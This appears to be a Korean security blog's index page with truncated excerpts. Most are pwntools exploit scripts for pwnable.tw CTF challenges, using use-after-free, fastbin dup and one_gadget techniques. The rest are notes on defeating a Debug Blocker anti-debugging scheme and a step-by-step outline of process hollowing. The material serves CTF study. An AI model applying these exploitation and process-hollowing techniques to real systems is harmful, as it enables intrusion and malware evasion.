import sys from pwn import * if len(sys.argv) != 2: print "sys.argv[1] = r : remotel : local" exit() #context.log_level = 'debug' if sys.argv[1].strip() == 'l': p = process('./spirited_away') elif sys.argv[1].strip() == 'r': p = remote('chall.pwnable.tw', 10204) e = ELF('./spirited_away') if sys.argv[1].strip() == 'l': l = e.libc elif sys.argv[1].strip() == 'r': l = ELF('./libc_32.so.6') def mov..
import sys from pwn import * if len(sys.argv) != 2: print "sys.argv[1] = r : remotel : local" exit() context.log_level = 'debug' def malloc(size, Data): sleep(0.3) #p.recv() p.send('1') #p.sendafter('Your choice :', '1') sleep(0.3) #p.recv() p.send(str(size)) #p.sendafter('size', str(size)) sleep(0.3) #p.recv() p.send(str(Data)) #p.sendafter('Data:', str(Data)) def free(): sleep(0.3) p.send('2')..
sleep을 syscall로 바꾼 뒤 read의 반환 값을 이용해 execve를 실행시켜주면 된다. import sys from pwn import * if len(sys.argv) != 2: print "sys.argv[1] = r : remotel : local" exit() #context.log_level = 'debug' if sys.argv[1].strip() == 'l': p = process('./unexploitable') elif sys.argv[1].strip() == 'r': p = remote('chall.pwnable.tw', 10403) e = ELF('./unexploitable') if sys.argv[1].strip() == 'l': l = e.libc elif sys.a..
이 문제에서는 uaf를 통해 libc leak을 하고 free를 할 때 배열을 초기화하지 않아서 2번 free가 가능하고 고로 fastbin dup과 one_gadget을 이용해서 풀면 되는 문제이다. from pwn import * #context.log_level = 'debug' def raisef(length, name, color): p.sendlineafter('Your choice :', '1') p.sendlineafter('Length of the name :', str(length)) p.sendafter('The name of flower :', str(name)) p.sendlineafter('The color of the flower :', str(color)) def visit(..
Debug Blocker는 자기 자신을 자식프로세스로 생성하되 디버깅 모드로 실행하여 자식프로세스에서 여러가지 예외를 발생시켜 그걸로 실행 분기를 바꾸는 방식으로 디버깅을 어렵게 하는 것이다. 이런 것을 디버깅 하기 위해서는 먼저, 부모 프로세스를 작동했을 때 어떤 동작을 하는지 파악한다. 그 다음에는 1번이나 2번 둘 중 하나를 택해 디버깅한다. 1. 복호화 루틴과 같은 것이 있을 시 자식 프로세스에서 코드 패치가 이용하여 디버깅 2 - 1. 부모 프로세스를 디버깅하다가 적당한 시점에 자식 프로세스에 무한 반복되는 코드를 삽입한다. 2 - 2. 그런 뒤 부모 프로세스에서 자식 프로세스 디버깅을 중지하게 한다. 2 - 3. 디버거를 자식 프로세스에 attach 한다.
1. 스위칭 할 exe 파일 전체 읽어오기 - CreateFile(), ReadFile()을 통해서 2. 스위칭 될 exe CreateProcess()를 통해 실행 3. GetThreadContext()로 2번에서 생성한 프로세스의 정보(PEB)를 이용해 IMAGEBASE 구하기 4. 1번에서 얻어온 PE헤더를 바탕으로 IMAGEBASE를 구한다. 5 - 1. 3번과 4번에서 얻어온 IMAGEBASE를 비교해서 같으면 ZwUnmapViewOfSection()을 이용해 2번과정에서 실행된 이미지 언맵핑 6 - 2. 다르면 3번에서 얻은 PEB에 IMAGEBASE를 수정한다. 7. VirtualAllocEx()를 통해 IMAGEBASE로부터 이미지 크기만큼 할당 8. PE 헤더정보 맵핑 - WriteProc..